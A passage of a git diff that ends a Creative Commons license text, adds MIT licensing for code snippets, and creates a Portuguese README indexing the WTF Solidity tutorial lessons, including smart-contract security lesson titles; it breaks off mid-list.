the license they choose before applying it. + Licensors should also secure all rights necessary before + applying our licenses so that the public can reuse the + material as expected. Licensors should clearly mark any + material not subject to the license. This includes other CC- + licensed material, or material used under an exception or + limitation to copyright. More considerations for licensors: + wiki.creativecommons.org/Considerations_for_licensors + + Considerations for the public: By using one of our public + licenses, a licensor grants the public permission to use the + licensed material under specified terms and conditions. If + the licensor's permission is not necessary for any reason--for + example, because of any applicable exception or limitation to + copyright--then that use is not regulated by the license. Our + licenses grant only permissions under copyright and certain + other rights that a licensor has authority to grant. Use of + the licensed material may still be restricted for other + reasons, including because others have copyright or other + rights in the material. A licensor may make special requests, + such as asking that all changes be marked or described. + Although not required by our licenses, you are encouraged to + respect those requests where reasonable. More_considerations + for the public: + wiki.creativecommons.org/Considerations_for_licensees + +======================================================================= + +Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International +Public License + +By exercising the Licensed Rights (defined below), You accept and agree +to be bound by the terms and conditions of this Creative Commons +Attribution-NonCommercial-ShareAlike 4.0 International Public License +("Public License"). To the extent this Public License may be +interpreted as a contract, You are granted the Licensed Rights in +consideration of Your acceptance of these terms and conditions, and the +Licensor grants You such rights in consideration of benefits the +Licensor receives from making the Licensed Material available under +these terms and conditions. + + +Section 1 -- Definitions. + + a. Adapted Material means material subject to Copyright and Similar + Rights that is derived from or based upon the Licensed Material + and in which the Licensed Material is translated, altered, + arranged, transformed, or otherwise modified in a manner requiring + permission under the Copyright and Similar Rights held by the + Licensor. For purposes of this Public License, where the Licensed + Material is a musical work, performance, or sound recording, + Adapted Material is always produced where the Licensed Material is + synched in timed relation with a moving image. + + b. Adapter's License means the license You apply to Your Copyright + and Similar Rights in Your contributions to Adapted Material in + accordance with the terms and conditions of this Public License. + + c. BY-NC-SA Compatible License means a license listed at + creativecommons.org/compatiblelicenses, approved by Creative + Commons as essentially the equivalent of this Public License. + + d. Copyright and Similar Rights means copyright and/or similar rights + closely related to copyright including, without limitation, + performance, broadcast, sound recording, and Sui Generis Database + Rights, without regard to how the rights are labeled or + categorized. For purposes of this Public License, the rights + specified in Section 2(b)(1)-(2) are not Copyright and Similar + Rights. + + e. Effective Technological Measures means those measures that, in the + absence of proper authority, may not be circumvented under laws + fulfilling obligations under Article 11 of the WIPO Copyright + Treaty adopted on December 20, 1996, and/or similar international + agreements. + + f. Exceptions and Limitations means fair use, fair dealing, and/or + any other exception or limitation to Copyright and Similar Rights + that applies to Your use of the Licensed Material. + + g. License Elements means the license attributes listed in the name + of a Creative Commons Public License. The License Elements of this + Public License are Attribution, NonCommercial, and ShareAlike. + + h. Licensed Material means the artistic or literary work, database, + or other material to which the Licensor applied this Public + License. + + i. Licensed Rights means the rights granted to You subject to the + terms and conditions of this Public License, which are limited to + all Copyright and Similar Rights that apply to Your use of the + Licensed Material and that the Licensor has authority to license. + + j. Licensor means the individual(s) or entity(ies) granting rights + under this Public License. + + k. NonCommercial means not primarily intended for or directed towards + commercial advantage or monetary compensation. For purposes of + this Public License, the exchange of the Licensed Material for + other material subject to Copyright and Similar Rights by digital + file-sharing or similar means is NonCommercial provided there is + no payment of monetary compensation in connection with the + exchange. + + l. Share means to provide material to the public by any means or + process that requires permission under the Licensed Rights, such + as reproduction, public display, public performance, distribution, + dissemination, communication, or importation, and to make material + available to the public including in ways that members of the + public may access the material from a place and at a time + individually chosen by them. + + m. Sui Generis Database Rights means rights other than copyright + resulting from Directive 96/9/EC of the European Parliament and of + the Council of 11 March 1996 on the legal protection of databases, + as amended and/or succeeded, as well as other essentially + equivalent rights anywhere in the world. + + n. You means the individual or entity exercising the Licensed Rights + under this Public License. Your has a corresponding meaning. + + +Section 2 -- Scope. + + a. License grant. + + 1. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, + non-sublicensable, non-exclusive, irrevocable license to + exercise the Licensed Rights in the Licensed Material to: + + a. reproduce and Share the Licensed Material, in whole or + in part, for NonCommercial purposes only; and + + b. produce, reproduce, and Share Adapted Material for + NonCommercial purposes only. + + 2. Exceptions and Limitations. For the avoidance of doubt, where + Exceptions and Limitations apply to Your use, this Public + License does not apply, and You do not need to comply with + its terms and conditions. + + 3. Term. The term of this Public License is specified in Section + 6(a). + + 4. Media and formats; technical modifications allowed. The + Licensor authorizes You to exercise the Licensed Rights in + all media and formats whether now known or hereafter created, + and to make technical modifications necessary to do so. The + Licensor waives and/or agrees not to assert any right or + authority to forbid You from making technical modifications + necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective + Technological Measures. For purposes of this Public License, + simply making modifications authorized by this Section 2(a) + (4) never produces Adapted Material. + + 5. Downstream recipients. + + a. Offer from the Licensor -- Licensed Material. Every + recipient of the Licensed Material automatically + receives an offer from the Licensor to exercise the + Licensed Rights under the terms and conditions of this + Public License. + + b. Additional offer from the Licensor -- Adapted Material. + Every recipient of Adapted Material from You + automatically receives an offer from the Licensor to + exercise the Licensed Rights in the Adapted Material + under the conditions of the Adapter's License You apply. + + c. No downstream restrictions. You may not offer or impose + any additional or different terms or conditions on, or + apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the + Licensed Rights by any recipient of the Licensed + Material. + + 6. No endorsement. Nothing in this Public License constitutes or + may be construed as permission to assert or imply that You + are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, + the Licensor or others designated to receive attribution as + provided in Section 3(a)(1)(A)(i). + + b. Other rights. + + 1. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, + privacy, and/or other similar personality rights; however, to + the extent possible, the Licensor waives and/or agrees not to + assert any such rights held by the Licensor to the limited + extent necessary to allow You to exercise the Licensed + Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this + Public License. + + 3. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed + Rights, whether directly or through a collecting society + under any voluntary or waivable statutory or compulsory + licensing scheme. In all other cases the Licensor expressly + reserves any right to collect such royalties, including when + the Licensed Material is used other than for NonCommercial + purposes. + + +Section 3 -- License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the +following conditions. + + a. Attribution. + + 1. If You Share the Licensed Material (including in modified + form), You must: + + a. retain the following if it is supplied by the Licensor + with the Licensed Material: + + i. identification of the creator(s) of the Licensed + Material and any others designated to receive + attribution, in any reasonable manner requested by + the Licensor (including by pseudonym if + designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of + warranties; + + v. a URI or hyperlink to the Licensed Material to the + extent reasonably practicable; + + b. indicate if You modified the Licensed Material and + retain an indication of any previous modifications; and + + c. indicate the Licensed Material is licensed under this + Public License, and include the text of, or the URI or + hyperlink to, this Public License. + + 2. You may satisfy the conditions in Section 3(a)(1) in any + reasonable manner based on the medium, means, and context in + which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or + hyperlink to a resource that includes the required + information. + 3. If requested by the Licensor, You must remove any of the + information required by Section 3(a)(1)(A) to the extent + reasonably practicable. + + b. ShareAlike. + + In addition to the conditions in Section 3(a), if You Share + Adapted Material You produce, the following conditions also apply. + + 1. The Adapter's License You apply must be a Creative Commons + license with the same License Elements, this version or + later, or a BY-NC-SA Compatible License. + + 2. You must include the text of, or the URI or hyperlink to, the + Adapter's License You apply. You may satisfy this condition + in any reasonable manner based on the medium, means, and + context in which You Share Adapted Material. + + 3. You may not offer or impose any additional or different terms + or conditions on, or apply any Effective Technological + Measures to, Adapted Material that restrict exercise of the + rights granted under the Adapter's License You apply. + + +Section 4 -- Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that +apply to Your use of the Licensed Material: + + a. for the avoidance of doubt, Section 2(a)(1) grants You the right + to extract, reuse, reproduce, and Share all or a substantial + portion of the contents of the database for NonCommercial purposes + only; + + b. if You include all or a substantial portion of the database + contents in a database in which You have Sui Generis Database + Rights, then the database in which You have Sui Generis Database + Rights (but not its individual contents) is Adapted Material, + including for purposes of Section 3(b); and + + c. You must comply with the conditions in Section 3(a) if You Share + all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not +replace Your obligations under this Public License where the Licensed +Rights include other Copyright and Similar Rights. + + +Section 5 -- Disclaimer of Warranties and Limitation of Liability. + + a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE + EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS + AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF + ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, + IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, + WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR + PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, + ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT + KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT + ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. + + b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE + TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, + NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, + INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, + COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR + USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN + ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR + DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR + IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. + + c. The disclaimer of warranties and limitation of liability provided + above shall be interpreted in a manner that, to the extent + possible, most closely approximates an absolute disclaimer and + waiver of all liability. + + +Section 6 -- Term and Termination. + + a. This Public License applies for the term of the Copyright and + Similar Rights licensed here. However, if You fail to comply with + this Public License, then Your rights under this Public License + terminate automatically. + + b. Where Your right to use the Licensed Material has terminated under + Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided + it is cured within 30 days of Your discovery of the + violation; or + + 2. upon express reinstatement by the Licensor. + + For the avoidance of doubt, this Section 6(b) does not affect any + right the Licensor may have to seek remedies for Your violations + of this Public License. + + c. For the avoidance of doubt, the Licensor may also offer the + Licensed Material under separate terms or conditions or stop + distributing the Licensed Material at any time; however, doing so + will not terminate this Public License. + + d. Sections 1, 5, 6, 7, and 8 survive termination of this Public + License. + + +Section 7 -- Other Terms and Conditions. + + a. The Licensor shall not be bound by any additional or different + terms or conditions communicated by You unless expressly agreed. + + b. Any arrangements, understandings, or agreements regarding the + Licensed Material not stated herein are separate from and + independent of the terms and conditions of this Public License. + + +Section 8 -- Interpretation. + + a. For the avoidance of doubt, this Public License does not, and + shall not be interpreted to, reduce, limit, restrict, or impose + conditions on any use of the Licensed Material that could lawfully + be made without permission under this Public License. + + b. To the extent possible, if any provision of this Public License is + deemed unenforceable, it shall be automatically reformed to the + minimum extent necessary to make it enforceable. If the provision + cannot be reformed, it shall be severed from this Public License + without affecting the enforceability of the remaining terms and + conditions. + + c. No term or condition of this Public License will be waived and no + failure to comply consented to unless expressly agreed to by the + Licensor. + + d. Nothing in this Public License constitutes or may be interpreted + as a limitation upon, or waiver of, any privileges and immunities + that apply to the Licensor or You, including from the legal + processes of any jurisdiction or authority. + +======================================================================= + +Creative Commons is not a party to its public +licenses. Notwithstanding, Creative Commons may elect to apply one of +its public licenses to material it publishes and in those instances +will be considered the “Licensor.” The text of the Creative Commons +public licenses is dedicated to the public domain under the CC0 Public +Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as +otherwise permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the +use of the trademark "Creative Commons" or any other trademark or logo +of Creative Commons without its prior written consent including, +without limitation, in connection with any unauthorized modifications +to any of its public licenses or any other arrangements, +understandings, or agreements concerning use of licensed material. For +the avoidance of doubt, this paragraph does not form part of the +public licenses. + +Creative Commons may be contacted at creativecommons.org. +``` + +## Licenses for code examples and snippets + +Code examples and snippets are available under +the [MIT license](https://opensource.org/licenses/MIT). You should insert +the following attribution information into the MIT license template: + +``` +© 2023 WTF Academy +``` + + + +### Text of MIT license + +``` +Copyright 2023 WTF Academy + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +``` diff --git a/Languages/pt-br/README.md b/Languages/pt-br/README.md new file mode 100644 index 000000000..6db3ac118 --- /dev/null +++ b/Languages/pt-br/README.md @@ -0,0 +1,328 @@ +![](./img/logo2.jpeg) + +:globe_with_meridians: **[Inglês](./Languages/en/README.md) / [Espanhol](./Languages/es/README.md) / [Português Brasileiro](./Languages/pt-br/README.md)** :globe_with_meridians: + +# WTF Solidity +Eu recentemente comecei a reestudar Solidity para reforçar os detalhes e também escrever um "WTF Solidity Guia Básico" para iniciantes (programadores experientes podem procurar outros tutoriais), com atualizações semanais de 1-3 aulas. + +O roteiro será definido com base no número de estrelas deste repositório: +- [x] 64 :star: Estabelecer comunidade: [discord](https://discord.gg/5akcruXrsk) | [grupo WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform) + +- [ ] 128 :star: Gravar vídeos de ensino + +- [x] 256 :star: Produzir conteúdo avançado + +- [x] 512 :star: Lançar site oficial: [wtf.academy](https://wtf.academy) + +- [x] 1024 :star: Emitir certificação de curso `SBT`: [Centro de Aprendizagem](https://wtf.academy/learning-center) + +- [ ] 2048 :star: Lançar NFT da comunidade + +## Introdução + +**Aula 1: Três Linhas de Código HelloWeb3**: [Código](./01_HelloWeb3) | [Artigo](./01_HelloWeb3/readme.md) + +**Aula 2: Tipos de Valor**: [Código](./02_ValueTypes) | [Artigo](./02_ValueTypes/readme.md) + +**Aula 3: Funções (external/internal/public/private, pure/view, payable)**: [Código](./03_Function) | [Artigo](./03_Function/readme.md) + +**Aula 4: Saída de Funções (returns/return)**: [Código](./04_Return) | [Artigo](./04_Return/readme.md) + +**Aula 5: Escopo de Variáveis e Armazenamento de Dados (storage/memory/calldata)**: [Código](./05_DataStorage) | [Artigo](./05_DataStorage/readme.md) + +**Aula 6: Arrays e Estruturas (array e struct)**: [Código](./06_ArrayAndStruct) | [Artigo](./06_ArrayAndStruct/readme.md) + +**Aula 7: Mapeamentos (mapping)**: [Código](./07_Mapping) | [Artigo](./07_Mapping/readme.md) + +**Aula 8: Valores Iniciais de Variáveis**: [Código](./08_InitialValue) | [Artigo](./08_InitialValue/readme.md) + +**Aula 9: Constantes (constant/immutable)**: [Código](./09_Constant) | [Artigo](./09_Constant/readme.md) + +**Aula 10: Controle de Fluxo e Ordenação por Inserção**: [Código](./10_InsertionSort) | [Artigo](./10_InsertionSort/readme.md) + +**Aula 11: Construtores (constructor) e Modificadores (modifier)**: [Código](./11_Modifier) | [Artigo](./11_Modifier/readme.md) + +**Aula 12: Eventos (events)**: [Código](./12_Event) | [Artigo](./12_Event/readme.md) + +**Aula 13: Herança**: [Código](./13_Inheritance) | [Artigo](./13_Inheritance/readme.md) + +**Aula 14: Contratos Abstratos (abstract) e Interfaces (interface)**: [Código](./14_Interface) | [Artigo](./14_Interface/readme.md) + +**Aula 15: Exceções (errors)**: [Código](./15_Errors) | [Artigo](./15_Errors/readme.md) + +## Avançado + +**Aula 16: Sobrecarga de Funções**: [Código](./16_Overloading) | [Artigo](./16_Overloading/readme.md) + +**Aula 17: Contratos de Biblioteca (library)**: [Código](./17_Library) | [Artigo](./17_Library/readme.md) + +**Aula 18: Import**: [Código](./18_Import) | [Artigo](./18_Import/readme.md) + +**Aula 19: Recebendo ETH (fallback/receive)**: [Código](./19_Fallback) | [Artigo](./19_Fallback/readme.md) + +**Aula 20: Enviando ETH (transfer/send/call)**: [Código](./20_SendETH) | [Artigo](./20_SendETH/readme.md) + +**Aula 21: Chamando Outros Contratos**: [Código](./21_CallContract) | [Artigo](./21_CallContract/readme.md) + +**Aula 22: Call**: [Código](./22_Call) | [Artigo](./22_Call/readme.md) + +**Aula 23: Delegatecall**: [Código](./23_Delegatecall) | [Artigo](./23_Delegatecall/readme.md) + +**Aula 24: Criando Novos Contratos Dentro de Contratos**: [Código](./24_Create) | [Artigo](./24_Create/readme.md) + +**Aula 25: Create2**: [Código](./25_Create2) | [Artigo](./25_Create2/readme.md) + +**Aula 26: Deletando Contratos**: [Código](./26_DeleteContract) | [Artigo](./26_DeleteContract/readme.md) + +**Aula 27: Codificação e Decodificação ABI**: [Código](./27_ABIEncode) | [Artigo](./27_ABIEncode/readme.md) + +**Aula 28: Hash**: [Código](./28_Hash) | [Artigo](./28_Hash/readme.md) + +**Aula 29: Seletores de Função (selector)**: [Código](./29_Selector) | [Artigo](./29_Selector/readme.md) + +**Aula 30: Try-Catch**: [Código](./30_TryCatch) | [Artigo](./30_TryCatch/readme.md) + +## Aplicações + +**Aula 31: ERC20**: [Código](./31_ERC20) | [Artigo](./31_ERC20/readme.md) + +**Aula 32: Torneira de Tokens**: [Código](./32_Faucet) | [Artigo](./32_Faucet/readme.md) + +**Aula 33: Airdrop**: [Código](./33_Airdrop) | [Artigo](./33_Airdrop/readme.md) + +**Aula 34: ERC721**: [Código](./34_ERC721) | [Artigo](./34_ERC721/readme.md) + +**Aula 35: Leilão Holandês**: [Código](./35_DutchAuction) | [Artigo](./35_DutchAuction/readme.md) + +**Aula 36: Árvore de Merkle**: [Código](./36_MerkleTree) | [Artigo](./36_MerkleTree/readme.md) + +**Aula 37: Assinaturas Digitais**: [Código](./37_Signature) | [Artigo](./37_Signature/readme.md) + +**Aula 38: Troca de NFTs**: [Código](./38_NFTSwap) | [Artigo](./38_NFTSwap/readme.md) + +**Aula 39: Números Aleatórios**: [Código](./39_Random) | [Artigo](./39_Random/readme.md) + +**Aula 40: ERC1155**: [Código](./40_ERC1155) | [Artigo](./40_ERC1155/readme.md) + +**Aula 41: WETH**: [Código](./41_WETH) | [Artigo](./41_WETH/readme.md) + +**Aula 42: Divisão de Pagamentos**: [Código](./42_PaymentSplit) | [Artigo](./42_PaymentSplit/readme.md) + +**Aula 43: Liberação Linear de Tokens**: [Código](./43_TokenVesting) | [Artigo](./43_TokenVesting/readme.md) + +**Aula 44: Bloqueio de Tokens**: [Código](./44_TokenLocker) | [Artigo](./44_TokenLocker/readme.md) + +**Aula 45: Bloqueio Temporal**: [Código](./45_Timelock) | [Artigo](./45_Timelock/readme.md) + +## Degen + +**Aula 46: Contratos Proxy**: [Código](./46_ProxyContract) | [Artigo](./46_ProxyContract/readme.md) + +**Aula 47: Contratos Atualizáveis**: [Código](./47_Upgrade) | [Artigo](./47_Upgrade/readme.md) + +**Aula 48: Proxy Transparente**: [Código](./48_TransparentProxy) | [Artigo](./48_TransparentProxy/readme.md) + +**Aula 49: Proxy Atualizável Universal UUPS**: [Código](./49_UUPS) | [Artigo](./49_UUPS/readme.md) + +**Aula 50: Carteira Multisig**: [Código](./50_MultisigWallet) | [Artigo](./50_MultisigWallet/readme.md) + +**Aula 51: ERC4626 Cofre Tokenizado**: [Código](./51_ERC4626) | [Artigo](./51_ERC4626/readme.md) + +**Aula 52: EIP712 Assinatura de Dados Tipados**: [Código](./52_EIP712) | [Artigo](./52_EIP712/readme.md) + +**Aula 53: ERC2612 ERC20Permit**: [Código](./53_ERC20Permit) | [Artigo](./53_ERC20Permit/readme.md) + +**Aula 54: Ponte Entre Cadeias**: [Código](./54_CrossChainBridge) | [Artigo](./54_CrossChainBridge/readme.md) + +**Aula 55: Chamadas Múltiplas**: [Código](./55_MultiCall) | [Artigo](./55_MultiCall/readme.md) + +**Aula 56: Exchange Descentralizada**: [Código](./56_DEX) | [Artigo](./56_DEX/readme.md) + +**Aula 57: Empréstimos Relâmpago**: [Código](./57_Flashloan) | [Artigo](./57_Flashloan/readme.md) + +## Segurança de Contratos + +**S01: Ataque de Reentrância**: [Código](./S01_ReentrancyAttack) | [Artigo](./S01_ReentrancyAttack/readme.md) + +**S02: Colisão de Seletores**: [Código](./S02_SelectorClash) | [Artigo](./S02_SelectorClash/readme.md) + +**S03: Centralização**: [Código](./S03_Centralization) | [Artigo](./S03_Centralization/readme.md) + +**S04: Exploração de Controle de Acesso**: [Código](./S04_AccessControlExploit) | [Artigo](./S04_AccessControlExploit/readme.md) + +**S05: Overflow de Inteiros**: [Código](./S05_Overflow) | [Artigo](./S05_Overflow/readme.md) + +**S06: Replay de Assinaturas**: [Código](./S06_SignatureReplay) | [Artigo](./S06_SignatureReplay/readme.md) + +**S07: Má Geração de Números Aleatórios**: [Código](./S07_BadRandomness) | [Artigo](./S07_BadRandomness/readme.md) + +**S08: Bypass de Verificação de Contrato**: [Código](./S08_ContractCheck) | [Artigo](./S08_ContractCheck/readme.md) + +**S09: Vulnerabilidade de Negação de Serviço (DoS)**: [Código](./S09_DoS) | [Artigo](./S09_DoS/readme.md) + +**S10: Honeypot**: [Código](./S10_Honeypot) | [Artigo](./S10_Honeypot/readme.md) + +**S11: Front Running**: [Código](./S11_Frontrun) | [Artigo](./S11_Frontrun/readme.md) + +**S12: Phishing com tx.origin**: [Código](./S12_TxOrigin) | [Artigo](./S12_TxOrigin/readme.md) + +**S13: Chamadas de Baixo Nível Não Verificadas**: [Código](./S13_UncheckedCall) | [Artigo](./S13_UncheckedCall/readme.md) + +**S14: Manipulação do Tempo do Bloco**: [Código](./S14_TimeManipulation) | [Artigo](./S14_TimeManipulation/readme.md) + +**S15: Manipulação de Oráculos**: [Código](./S15_OracleManipulation) | [Artigo](./S15_OracleManipulation/readme.md) + +**S16: Ataque de Reentrância em NFTs**: [Código](./S16_NFTReentrancy) | [Artigo](./S16_NFTReentrancy/readme.md) + +## Códigos de Operação EVM + +**OP01: Hello Opcodes**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/01_HelloOpcodes) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/01_HelloOpcodes/readme.md) + +**OP02: Classificação dos Opcodes**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/02_Categories) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/02_Categories/readme.md) + +**OP03: Instruções de Pilha**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/03_StackOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/03_StackOp/readme.md) + +**OP04: Instruções Aritméticas**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/04_ArithmeticOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/04_ArithmeticOp/readme.md) + +**OP05: Instruções de Comparação**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/05_ComparisonOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/05_ComparisonOp/readme.md) + +**OP06: Instruções de Nível de Bit**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/06_BitwiseOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/06_BitwiseOp/readme.md) + +**OP07: Instruções de Memória**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/07_MemoryOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/07_MemoryOp/readme.md) + +**OP08: Instruções de Armazenamento**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/08_StorageOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/08_StorageOp/readme.md) + +**OP09: Instruções de Fluxo de Controle**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/09_FlowOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/09_FlowOp/readme.md) + +**OP10: Instruções de Informação de Bloco**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/10_BlockOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/10_BlockOp/readme.md) + +**OP11: Instruções de Pilha 2**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/11_StackOp2) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/11_StackOp2/readme.md) + +**OP12: Instrução SHA3**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/12_SHA3) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/12_SHA3/readme.md) + +**OP13: Instruções de Conta**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/13_AccountOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/13_AccountOp/readme.md) + +**OP14: Instruções de Transação**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/14_TxOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/14_TxOp/readme.md) + +**OP15: Instruções de Log**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/15_LogOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/15_LogOp/readme.md) + +**OP16: Instruções de Return**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/16_ReturnOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/16_ReturnOp/readme.md) + +**OP17: Instruções de Revert**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/17_RevertOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/17_RevertOp/readme.md) + +**OP18: Instruções de Call**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/18_CallOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/18_CallOp/readme.md) + +**OP19: Instruções de Delegatecall**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/19_DelegatecallOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/19_DelegatecallOp/readme.md) + +**OP20: Instruções de Staticcall**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/20_StaticcallOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/20_StaticcallOp/readme.md) + +**OP21: Instruções de Create**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/21_Create) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/21_Create/readme.md) + +**OP22: Instruções de Create2**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/22_Create2) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/22_Create2/readme.md) + +**OP23: Instruções de Selfdestruct**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/23_SelfdestructOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/23_SelfdestructOp/readme.md) + +**OP24: Instruções de Gas**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/24_GasOp) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/24_GasOp/readme.md) + +**OP25: Otimização do Contrato Proxy Mínimo EIP-7511**: [Código](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/25_MinimalProxy) | [Artigo](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/25_MinimalProxy/readme.md) + +## Regras Internas do Solidity + +**SI01: Layout de Armazenamento Básico**: [Código](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/src/01_ValueStorage.sol) | [Artigo](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/tutorials/01_ValueStorage/readme.md) + +**SI02: Layout de Armazenamento de Mapeamentos e Arrays Dinâmicos**: [Código](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/src/02_MappingStorage.sol) | [Artigo](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/tutorials/02_MappingStorage/readme.md) + +**SI03: Layout de Armazenamento de Arrays de Bytes e Strings**: [Código](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/src/03_BytesStorage.sol) | [Artigo](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/tutorials/03_BytesStorage/readme.md) + +**SI04: Layout de Memória**: [Código](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/src/04_MemoryLayout.sol) | [Artigo](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/tutorials/04_MemoryLayout/readme.md) + +**SI05: Fundamentos da Codificação ABI**: [Código](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/src/05_AbiEncode.sol) | [Artigo](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/tutorials/05_AbiEncode/readme.md) + +**SI06: Codificação ABI de Tipos Dinâmicos**: 